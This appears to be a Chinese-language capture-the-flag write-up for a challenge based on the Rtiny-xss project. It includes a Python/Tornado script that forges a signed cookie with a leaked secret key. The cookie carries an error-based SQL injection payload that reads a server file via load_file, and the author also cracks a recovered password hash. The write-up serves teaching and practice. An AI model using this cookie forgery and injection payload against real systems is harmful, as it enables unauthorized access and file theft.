打开题目地址是一个登录界面,题目内容提示后台有线索,也就是要先注入获取用户名密码,然后登录
以为是sql注入多次尝试无果后,查看别人写的wp,是通过构造非法参数来让网页返回错误信息
去GitHub搜索Rtiny,https://github.com/r0ker/Rtiny-xss,查看目录下rtiny/lock.py文件
无过滤,可以注入,看一下set_secure_cookie是干嘛的
也就是说cookie是被加密过的,加密使用的key在index.php文件中,
下面就是要写一个py脚本,把注入语句用相同的key加密后,添加到cookie:username中,去访问/lock页面
import tornado.ioloop
import tornado.web
settings = {
"cookie_secret" : "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=",
}
class MainHandler(tornado.web.RequestHandler):
def get(self):
self.write("Hello")
self.set_secure_cookie("username", "' and 1=2 union select extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),1,25)));#")
self.write(self.get_secure_cookie("username"))
def make_app():
return tornado.web.Application([
(r"/index", MainHandler),
], **settings)
if __name__ == "__main__":
app = make_app()
app.listen(8082)//防止和bp端口冲突
tornado.ioloop.IOLoop.instance().start()
运行脚本,访问127.0.0.1:8082/index,从cookie中得到username的值,一步步注入得到ichuqiu|318a61264482e503090facfc4337207f|545 MD5解密得密码Myxss623,登录后台点File,得到提示
通过MYSQL函数 load_file读取,flag有点长要用mid()或者substr(),拼起来就行了